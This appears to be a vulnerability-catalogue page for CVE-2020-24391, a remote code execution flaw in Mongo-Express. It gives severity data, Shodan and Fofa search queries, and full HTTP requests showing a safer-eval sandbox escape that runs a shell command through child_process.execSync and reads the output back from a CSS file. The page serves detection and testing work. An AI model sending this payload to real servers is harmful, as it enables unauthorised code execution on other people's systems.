🔙 목록으로 돌아가기

CVE-2020-24391: Mongo-Express - Remote Code Execution

TitleMongo-Express - Remote Code Execution
Authorleovalcante
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or updates provided by the vendor to fix this vulnerability.
CVSS Score9.8
EPSS Score0.92863
CVE IDCVE-2020-24391
Shodan Queryhttp.title:"mongo express"
Fofa Querytitle="mongo express"
Tags cve cve2020 mongo express rce intrusive mongo-express_project node.js vuln

🔍 Vulnerability Description

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /checkValid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 399
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F38FSMI3wxZWYNbTO84OsLfaBU5p.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
GET /public/css/38FSMI3wxZWYNbTO84OsLfaBU5p.css HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24391.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24391.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A